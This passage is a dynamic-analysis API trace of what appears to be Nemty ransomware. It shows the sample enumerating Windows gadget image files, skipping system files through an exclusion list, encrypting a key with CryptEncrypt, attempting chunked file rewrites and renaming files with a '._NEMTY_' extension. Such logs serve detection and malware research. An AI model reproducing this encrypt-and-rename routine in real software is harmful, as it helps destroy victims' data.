ftCreationTime.dwLowDateTime=0x86e9acb9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e9acb9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x338cae83, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6222, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0167.711] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2=".") returned 1 [0167.711] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="..") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="...") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="windows") returned -1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="$RECYCLE.BIN") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="rsa") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="NTDETECT.COM") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="ntldr") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="MSDOS.SYS") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="IO.SYS") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="boot.ini") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="boot.ini") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="AUTOEXEC.BAT") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="ntuser.dat") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="desktop.ini") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="CONFIG.SYS") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="RECYCLER") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="BOOTSECT.BAK") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="bootmgr") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="programdata") returned 1 [0167.712] lstrcmpiW (lpString1="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpString2="appdata") returned 1 [0167.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63401a8 [0167.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0167.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x6345da8, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 52 [0167.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340220 [0167.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0167.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x6345da8, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 52 [0167.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0167.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63401a8 [0167.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0167.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0167.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x6345da8, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 52 [0167.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63401a8 [0167.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0167.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0167.713] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cchWideChar=52, lpMultiByteStr=0x6345d60, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-waxing-gibbous_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 52 [0167.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0167.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63401a8 [0167.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0167.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63402a0 [0167.713] Sleep (dwMilliseconds=0x5) [0167.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x179ca350, dwHighDateTime=0x1d561e8)) [0167.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x179ca350, dwHighDateTime=0x1d561e8)) [0167.713] GetLastError () returned 0x5 [0167.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0167.713] GetLastError () returned 0x5 [0167.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0167.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0167.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.714] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0167.714] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0167.714] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0167.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340398 [0167.714] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340398, pcchString=0x653e91c | out: pszString="lU/YYXtRt/JP+t81WQWXKtsUFb8qVsg/dj+gbzVWYsaWS54b/lSFwQGbUJqkcuvT\r\nM6/lBOsoVkcYDY4nTziJqb24wfrUgCNsvc/AMUeBrM+idMAn/5cOUwkeHCiR7o4C\r\nBAYyvIkWbzWrSqm8c5hv8d6n2EW9Q5jnQvAPzI7z6+sqV9ASoLLlolqR7aCXjO95\r\nRdI1zVc1VFzTdC4T++0hMlspVXS63c15fsgjW7VwPwQLctUnB+fuB5nt5eOfQUvd\r\nO09E4BGkmj6TZ67UXqHw6IpeUIz/r22fwddgcNM4zfxsoPiKQeJKF+Mc5Mm+Xynm\r\nu5DQDohVvELaWCCAnDxqig==\r\n", pcchString=0x653e91c) returned 1 [0167.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0167.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340398 | out: hHeap=0x4f90000) returned 1 [0167.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0167.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340398 [0167.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0167.714] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-gibbous_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-gibbous_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0167.726] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0167.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0167.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.735] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.735] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.735] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.755] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.755] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.755] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.772] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.800] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.819] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.819] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.819] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0167.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0167.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340398, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0167.841] CloseHandle (hObject=0xffffffff) returned 0 [0167.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0167.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0167.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0167.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0167.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0167.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x63440e0 [0167.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63441d8 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0167.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-gibbous_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-gibbous_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-waxing-gibbous_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-waxing-gibbous_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63441d8 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340398 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0167.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0167.841] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ec0e16, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ec0e16, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x349747a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x94ed, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_rainy.png", cAlternateFileName="")) returned 1 [0167.841] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2=".") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="..") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="...") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="windows") returned -1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="$RECYCLE.BIN") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="rsa") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="NTDETECT.COM") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="ntldr") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="MSDOS.SYS") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", lpString2="IO.SYS") returned 1 [0167.842] lstrcmpiW (lpString1="undocked_black_rainy.png", 